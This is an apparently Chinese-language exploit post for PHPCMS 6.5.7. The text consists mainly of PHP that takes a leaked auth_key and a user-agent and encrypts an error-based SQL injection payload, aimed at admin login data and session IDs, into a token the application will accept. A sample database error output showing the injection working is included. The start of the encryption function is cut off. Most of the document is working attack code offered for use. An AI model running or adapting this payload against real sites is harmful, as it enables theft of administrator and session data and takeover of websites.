PHPCMS某处设计缺陷可致authkey泄露 【针对6.5.7版本的payload生成代码】

运行下面代码

copy

0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) { return substr($result, 26); } else { return ''; } } } #XNvNxVxghgMEoNNq9MiUMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 $auth_key = "XNvNxVxghgMEoNNq9MiU"; $ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0"; function get_auth_key() { global $auth_key; global $ua; $pc_auth_key = md5($auth_key.$ua); return $pc_auth_key; } $auth_key2 = get_auth_key(""); $sql = "1' and (extractvalue(1,concat(0x7e,(select lastlogintime from v9_admin limit 0,1))));#\txx"; #$sql = "1' and (extractvalue(1,concat(0x7e,(select sessionid from v9_session limit 1,1))));#\tokee"; #echo $auth_key2; $sec1 = sys_auth($sql,"ENCODE",$auth_key2); #echo $sec1; #echo "\n"; echo sys_auth($sec1,"ENCODE",$auth_key); 　　//报错代码： 1 SELECT * FROM `tianyu`.`v9_member` WHERE `userid` = '1' and (extractvalue(1,concat(0x7e,(select user()))));#' LIMIT 1